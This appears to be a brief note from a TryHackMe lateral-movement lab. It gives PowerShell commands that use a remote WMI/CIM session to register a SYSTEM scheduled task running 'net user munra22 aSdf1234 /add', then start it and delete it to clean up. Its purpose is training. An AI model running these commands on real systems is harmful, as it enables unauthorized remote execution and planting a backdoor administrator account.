Requirements Ports: 135/TCP, 49152-65535/TCP (RPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Administrator required With an existing WMI session: # creation $Command = "cmd.exe" $Args = "/c net user munra22 aSdf1234 /add" $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2" # starting Start-ScheduledTask -CimSession $Session -TaskName "THMtask2" # cleanup Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"